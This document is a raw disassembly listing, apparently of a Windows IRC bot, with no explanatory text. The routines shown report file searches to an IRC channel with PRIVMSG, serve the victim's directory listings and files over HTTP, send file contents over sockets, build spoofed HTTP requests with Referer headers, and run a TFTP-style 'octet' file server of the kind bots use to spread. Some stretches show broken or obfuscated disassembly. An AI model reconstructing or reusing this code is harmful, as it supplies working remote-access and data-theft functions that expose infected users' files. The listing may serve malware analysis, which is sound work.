call sub_413059
mov [ebp-32Ch], eax
imul eax, 234h
add esp, 18h
mov ds:dword_43489C[eax], esi
lea eax, [ebp-8]
push eax
lea eax, [ebp-6C4h]
push edi
push eax
push 404426h
push edi
push edi
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-32Ch]
imul ecx, 234h
cmp eax, edi
mov ds:dword_4348AC[ecx], eax
jz short loc_404823
loc_404811: ; CODE XREF: seg000:00404821j
cmp [ebp-318h], edi
jnz short loc_404851
push 5
call ds:dword_41F058 ; Sleep
jmp short loc_404811
; ---------------------------------------------------------------------------
loc_404823: ; CODE XREF: seg000:0040480Fj
push ebx
call ds:dword_42F7A0
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-8C4h]
push offset unk_422F8C
push eax
call sub_4135AD
lea eax, [ebp-8C4h]
push eax
call sub_409615
add esp, 10h
loc_404851: ; CODE XREF: seg000:00404755j
; seg000:00404817j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404858 proc near ; CODE XREF: sub_403FCB+5B4p
; seg000:0040F9A7p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_66FD005E = byte ptr 66FD0066h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_413630
mov edi, [ebp+arg_0]
push offset asc_423020 ; "\n"
push edi
call sub_414D28
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_4048B7
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_413B2A
add esp, 14h
jmp loc_4049B4
; ---------------------------------------------------------------------------
loc_4048B7: ; CODE XREF: sub_404858+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_40499A
call sub_413DB0
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
push edi
call sub_413DB0
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 0Ch
jmp short loc_4049B4
; ---------------------------------------------------------------------------
loc_40499A: ; CODE XREF: sub_404858+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 10h
loc_4049B4: ; CODE XREF: sub_404858+5Aj
; sub_404858+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
cmp [ebp+arg_C], ebx
jz short loc_404A4C
push [ebp+arg_C]
call sub_413DB0
cmp eax, 2
pop ecx
jbe short loc_404A4C
push [ebp+arg_C]
call sub_413DB0
sub eax, 3
pop ecx
jz short loc_404A00
loc_4049F4: ; CODE XREF: sub_404858+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_404A00
dec eax
jnz short loc_4049F4
loc_404A00: ; CODE XREF: sub_404858+19Aj
; sub_404858+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_414DD0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
loc_404A4C: ; CODE XREF: sub_404858+17Ej
; sub_404858+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_41F090 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:dword_41F08C ; FindNextFileA
test eax, eax
jz loc_404E3D
mov edi, 1FFh
loc_404A78: ; CODE XREF: sub_404858+5DFj
cmp [ebp+var_388], ebx
jz loc_404E25
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_404E25
lea eax, [ebp+var_35C]
push offset a__0 ; "."
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_404E25
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call near ptr 0A70000h
jmp far ptr 458Dh:50E8458Dh
; ---------------------------------------------------------------------------
db 0E0h, 50h, 0E8h
; ---------------------------------------------------------------------------
sub [ebp+arg_66FD005E], dh
mov eax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_404AED
mov ecx, offset aAm ; "AM"
loc_404AED: ; CODE XREF: sub_404858+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_404AF9
sub eax, 0Ch
loc_404AF9: ; CODE XREF: sub_404858+29Cj
push ecx
movzx ecx, word ptr [ebp+var_10+2]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_4135AD
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_404CA6
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_404B7A
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_413B2A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_413B2A
add esp, 28h
jmp loc_404DF6
; ---------------------------------------------------------------------------
loc_404B7A: ; CODE XREF: sub_404858+2DBj
cmp [ebp+arg_C], ebx
jz loc_404C64
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_413B2A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_413B2A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
lea eax, [ebp+var_35C]
push eax
call sub_413DB0
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_404C1A
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_404C1F
; ---------------------------------------------------------------------------
loc_404C1A: ; CODE XREF: sub_404858+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_404C1F: ; CODE XREF: sub_404858+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_413B2A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_404DE7
; ---------------------------------------------------------------------------
loc_404C64: ; CODE XREF: sub_404858+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_413B2A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_404C91: ; CODE XREF: sub_404858+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_413B2A
add esp, 24h
jmp loc_404DF6
; ---------------------------------------------------------------------------
loc_404CA6: ; CODE XREF: sub_404858+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_404CD0
push ebx
push [ebp+var_368]
call sub_40A6A6
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_404C91
; ---------------------------------------------------------------------------
loc_404CD0: ; CODE XREF: sub_404858+454j
cmp [ebp+arg_C], ebx
jz loc_404DD0
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_413B2A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_413B2A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
lea eax, [ebp+var_35C]
push eax
call sub_413DB0
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_404D70
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_404D75
; ---------------------------------------------------------------------------
loc_404D70: ; CODE XREF: sub_404858+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_404D75: ; CODE XREF: sub_404858+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_413B2A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_413B2A
add esp, 1Ch
jmp short loc_404DF6
; ---------------------------------------------------------------------------
loc_404DD0: ; CODE XREF: sub_404858+47Bj
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_404DE7: ; CODE XREF: sub_404858+407j
lea eax, [ebp+var_248]
push eax
call sub_413B2A
add esp, 18h
loc_404DF6: ; CODE XREF: sub_404858+31Dj
; sub_404858+449j ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
cmp [ebp+arg_8], ebx
jz short loc_404E25
push 7D0h
call ds:dword_41F058 ; Sleep
loc_404E25: ; CODE XREF: sub_404858+226j
; sub_404858+241j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call ds:dword_41F08C ; FindNextFileA
test eax, eax
jnz loc_404A78
loc_404E3D: ; CODE XREF: sub_404858+215j
push [ebp+arg_0]
call near ptr 0A70000h
sub eax, 74105D39h
xor eax, 99F8458Bh
push edx
push eax
call sub_40A6A6
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40A6A6
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_4135AD
add esp, 14h
jmp short loc_404EB4
; ---------------------------------------------------------------------------
cmp [ebp+arg_C], ebx
jz short loc_404E9A
lea eax, [ebp+var_248]
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_4135AD
pop ecx
pop ecx
jmp short loc_404EB4
; ---------------------------------------------------------------------------
loc_404E9A: ; CODE XREF: sub_404858+62Bj
push [ebp+var_8]
lea eax, [ebp+var_248]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_4135AD
add esp, 10h
loc_404EB4: ; CODE XREF: sub_404858+626j
; sub_404858+640j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call ds:dword_42F758
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_404858 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404EDA proc near ; CODE XREF: sub_403FCB+596p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call ds:dword_41F078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404F92
push esi
push ebx
call near ptr 0A70000h
cwde
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_404F8B
loc_404F1F: ; CODE XREF: sub_404EDA+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_413630
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_404F3C
mov edi, [ebp+arg_4]
loc_404F3C: ; CODE XREF: sub_404EDA+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call ds:dword_41F098 ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call ds:dword_41F094 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call ds:dword_42F758
cmp eax, 0FFFFFFFFh
jnz short loc_404F86
call ds:dword_42F69C
cmp eax, 2733h
jnz short loc_404F8B
xor eax, eax
loc_404F86: ; CODE XREF: sub_404EDA+9Bj
sub [ebp+arg_4], eax
jnz short loc_404F1F
loc_404F8B: ; CODE XREF: sub_404EDA+43j
; sub_404EDA+A8j
push ebx
call ds:dword_41F070 ; CloseHandle
loc_404F92: ; CODE XREF: sub_404EDA+30j
pop edi
pop esi
pop ebx
leave
retn
sub_404EDA endp
; =============== S U B R O U T I N E =======================================
sub_404F97 proc near ; CODE XREF: seg000:00404724p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_413DB0
test eax, eax
pop ecx
jbe short loc_404FC0
loc_404FAA: ; CODE XREF: sub_404F97+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_404FB4
mov byte ptr [esi+edi], 2Fh
loc_404FB4: ; CODE XREF: sub_404F97+17j
push edi
inc esi
call sub_413DB0
cmp esi, eax
pop ecx
jb short loc_404FAA
loc_404FC0: ; CODE XREF: sub_404F97+11j
mov eax, edi
pop edi
pop esi
retn
sub_404F97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FC5 proc near ; CODE XREF: seg000:0040DE30p
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call ds:dword_42F680
push 6
push 1
push 2
call ds:dword_42F788
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_413630
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call ds:dword_42F708
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_408503
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_42F6B0
cmp eax, 0FFFFFFFFh
jz short loc_4050A2
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_40503E
mov eax, offset byte_42E348
loc_40503E: ; CODE XREF: sub_404FC5+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_413B2A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call ds:dword_42F758
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_413690
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call ds:dword_42F720
pop esi
loc_4050A2: ; CODE XREF: sub_404FC5+6Bj
push ebx
call ds:dword_42F7A0
call ds:dword_42F668
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_4135AD
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_4050E2
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
add esp, 14h
loc_4050E2: ; CODE XREF: sub_404FC5+102j
pop edi
pop ebx
leave
retn
sub_404FC5 endp
; ---------------------------------------------------------------------------
loc_4050E6: ; CODE XREF: seg000:loc_4055D1p
; DATA XREF: seg000:00410251o
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+8]
mov esi, offset aOctet ; "octet"
lea edi, [ebp-1Ch]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp-37Ch]
push ebx
push 2
rep movsd
inc dword ptr [ebp-16Ch]
push 2
mov [ebp-0Ch], eax
mov [edx+2A0h], eax
call ds:dword_42F788
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-10h], edi
jnz short near ptr loc_4051A8+1
push 190h
call ds:dword_41F058 ; Sleep
call ds:dword_42F69C
push eax
lea eax, [ebp-780h]
push offset unk_423628
push eax
call sub_4135AD
add esp, 0Ch
cmp [ebp-0E0h], ebx
jnz short loc_405189
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_4110B0
add esp, 14h
loc_405189: ; CODE XREF: seg000:00405164j
lea eax, [ebp-780h]
push eax
call sub_409615
push dword ptr [ebp-170h]
call sub_413375
pop ecx
pop ecx
push ebx
call near ptr 0A70000h
loc_4051A8: ; CODE XREF: seg000:00405136j
mov al, 8Bh
test [eax+6AFFFFFEh], edx
adc [ecx-40h], ch
xor al, 2
; ---------------------------------------------------------------------------
db 2 dup(0), 53h
; ---------------------------------------------------------------------------
mov ds:dword_4348A4[eax], edi
lea eax, [ebp-44h]
push eax
call sub_413630
add esp, 0Ch
mov word ptr [ebp-44h], 2
push dword ptr [ebp-168h]
call ds:dword_42F708
mov [ebp-42h], ax
lea eax, [ebp-44h]
push 10h
push eax
push edi
mov [ebp-40h], ebx
call ds:dword_42F734
cmp eax, 0FFFFFFFFh
jnz short loc_40520E
push 1388h
call ds:dword_41F058 ; Sleep
dec dword ptr [ebp-16Ch]
push dword ptr [ebp+8]
jmp loc_4055D1
; ---------------------------------------------------------------------------
loc_40520E: ; CODE XREF: seg000:004051F3j
lea eax, [ebp-378h]
push offset aRb ; "rb"
push eax
call sub_413CA8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-8], eax
jnz short near ptr loc_40528B+1
push 190h
call ds:dword_41F058 ; Sleep
lea eax, [ebp-378h]
push eax
lea eax, [ebp-780h]
push offset unk_4235D8
push eax
call sub_4135AD
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_4110B0
lea eax, [ebp-780h]
push eax
call sub_409615
push dword ptr [ebp-170h]
call sub_413375
add esp, 28h
push ebx
call near ptr 0A70000h
loc_40528B: ; CODE XREF: seg000:00405226j
db 3Eh
mov esi, 200h
loc_405291: ; CODE XREF: seg000:0040558Bj
mov eax, [ebp+8]
cmp [eax+2A0h], ebx
jz loc_405591
mov [ebp-880h], edi
mov edi, 80h
push edi
lea eax, [ebp-0D8h]
push ebx
push eax
mov dword ptr [ebp-34h], 5
mov dword ptr [ebp-30h], 1388h
mov dword ptr [ebp-884h], 1
call sub_413630
add esp, 0Ch
lea eax, [ebp-34h]
push eax
push ebx
lea eax, [ebp-884h]
push ebx
push eax
push ebx
call ds:dword_42F6F0
test eax, eax
jle loc_405585
mov al, ds:byte_42E348
mov ecx, edi
mov [ebp-580h], al
xor eax, eax
lea edi, [ebp-57Fh]
mov dword ptr [ebp-4], 10h
rep stosd
stosw
stosb
mov edi, [ebp-10h]
lea eax, [ebp-4]
push eax
lea eax, [ebp-2Ch]
push eax
push ebx
lea eax, [ebp-0D8h]
push 80h
push eax
push edi
call ds:dword_42F6E0
push dword ptr [ebp-28h]
mov [ebp-0Ch], eax
call ds:dword_42F794
push eax
lea eax, [ebp-58h]
push eax
call sub_4135AD
cmp [ebp-0D8h], bl
pop ecx
pop ecx
jnz loc_40556F
cmp byte ptr [ebp-0D7h], 1
jnz loc_4054BB
lea eax, [ebp-274h]
push eax
call sub_413DB0
lea eax, [ebp+eax-0D5h]
mov [ebp-14h], eax
lea eax, [ebp-274h]
push eax
call sub_413DB0
push eax
lea eax, [ebp-0D6h]
push eax
lea eax, [ebp-274h]
push eax
call sub_414F60
add esp, 14h
test eax, eax
jnz loc_405475
lea eax, [ebp-1Ch]
push eax
call sub_413DB0
push eax
lea eax, [ebp-1Ch]
push dword ptr [ebp-14h]
push eax
call sub_414F60
add esp, 10h
test eax, eax
jnz loc_405475
push ebx
push ebx
push dword ptr [ebp-8]
call sub_414ECE
push dword ptr [ebp-8]
lea eax, [ebp-57Ch]
mov [ebp-580h], bl
mov byte ptr [ebp-57Fh], 3
push esi
push 1
push eax
mov [ebp-57Eh], bl
mov byte ptr [ebp-57Dh], 1
call sub_414C40
add esp, 1Ch
lea ecx, [ebp-2Ch]
mov [ebp-0Ch], eax
add eax, 4
push dword ptr [ebp-4]
push ecx
push ebx
push eax
lea eax, [ebp-580h]
push eax
push edi
call ds:dword_42F76C
lea eax, [ebp-378h]
push eax
lea eax, [ebp-58h]
push eax
push offset unk_423584
loc_405429: ; CODE XREF: seg000:0040556Aj
lea eax, [ebp-780h]
push eax
call sub_4135AD
add esp, 10h
cmp [ebp-0E0h], ebx
jnz short loc_405463
push ebx
lea eax, [ebp-780h]
push dword ptr [ebp-0E4h]
push eax
lea eax, [ebp-164h]
push eax
push dword ptr [ebp-37Ch]
call sub_4110B0
add esp, 14h
loc_405463: ; CODE XREF: seg000:0040543Ej
lea eax, [ebp-780h]
push eax
call sub_409615
pop ecx
jmp loc_405585
; ---------------------------------------------------------------------------
loc_405475: ; CODE XREF: seg000:0040539Cj
; seg000:004053BDj
push dword ptr [ebp-4]
lea eax, [ebp-2Ch]
push eax
push ebx
push 13h
push offset dword_423570
push edi
call ds:dword_42F76C
lea eax, [ebp-274h]
push eax
lea eax, [ebp-58h]
push eax
lea eax, [ebp-0D8h]
push offset unk_423534
push eax
call sub_4135AD
lea eax, [ebp-0D8h]
push eax
call sub_409615
add esp, 14h
jmp loc_405585
; ---------------------------------------------------------------------------
loc_4054BB: ; CODE XREF: seg000:0040535Bj
cmp byte ptr [ebp-0D7h], 4
jnz loc_40556F
mov cl, [ebp-0D5h]
mov al, [ebp-0D6h]
cmp cl, 0FFh
mov [ebp-580h], bl
mov byte ptr [ebp-57Fh], 3
jnz short loc_4054F8
inc al
xor cl, cl
mov [ebp-57Eh], al
mov [ebp-57Dh], bl
jmp short loc_405506
; ---------------------------------------------------------------------------
loc_4054F8: ; CODE XREF: seg000:004054E4j
inc cl
mov [ebp-57Eh], al
mov [ebp-57Dh], cl
loc_405506: ; CODE XREF: seg000:004054F6j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push dword ptr [ebp-8]
call sub_414ECE
push dword ptr [ebp-8]
lea eax, [ebp-57Ch]
push esi
push 1
push eax
call sub_414C40
add esp, 1Ch
mov edi, eax
lea eax, [ebp-2Ch]
mov [ebp-0Ch], edi
push dword ptr [ebp-4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp-580h]
push eax
push dword ptr [ebp-10h]
call ds:dword_42F76C
cmp edi, ebx
jnz short loc_405585
lea eax, [ebp-378h]
push eax
lea eax, [ebp-58h]
push eax
push offset dword_4234E4
jmp loc_405429
; ---------------------------------------------------------------------------
loc_40556F: ; CODE XREF: seg000:0040534Ej
; seg000:004054C2j
push dword ptr [ebp-4]
lea eax, [ebp-2Ch]
push eax
push ebx
push 9
push offset dword_4234D8
push edi
call ds:dword_42F76C
loc_405585: ; CODE XREF: seg000:004052EAj
; seg000:00405470j ...
cmp [ebp-0Ch], ebx
mov edi, [ebp-10h]
jg loc_405291
loc_405591: ; CODE XREF: seg000:0040529Aj
push edi
call ds:dword_42F7A0
push dword ptr [ebp-8]
call sub_413C00
mov esi, [ebp+8]
dec dword ptr [ebp-16Ch]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_4055C5
push dword ptr [ebp-170h]
call sub_413375
pop ecx
push ebx
call near ptr 0A70000h
stosb
loc_4055C5: ; CODE XREF: seg000:004055B0j
push 3E8h
call ds:dword_41F058 ; Sleep
push esi
loc_4055D1: ; CODE XREF: seg000:00405209j
call loc_4050E6
pop edi
pop esi
pop ebx
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055DD proc near ; CODE XREF: seg000:00410AF8p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_423774
push eax
xor ebx, ebx
call sub_4135AD
cmp ds:dword_4236A0, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40564B
push esi
mov esi, offset dword_4236A8
loc_405610: ; CODE XREF: sub_4055DD+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_4135AD
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_414FA0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_405610
pop esi
loc_40564B: ; CODE XREF: sub_4055DD+2Bj
push ds:dword_45DB88
call sub_408E5A
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_4135AD
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_414FA0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4110B0
lea eax, [ebp+var_200]
push eax
call sub_409615
add esp, 38h
pop edi
pop ebx
leave
retn
sub_4055DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
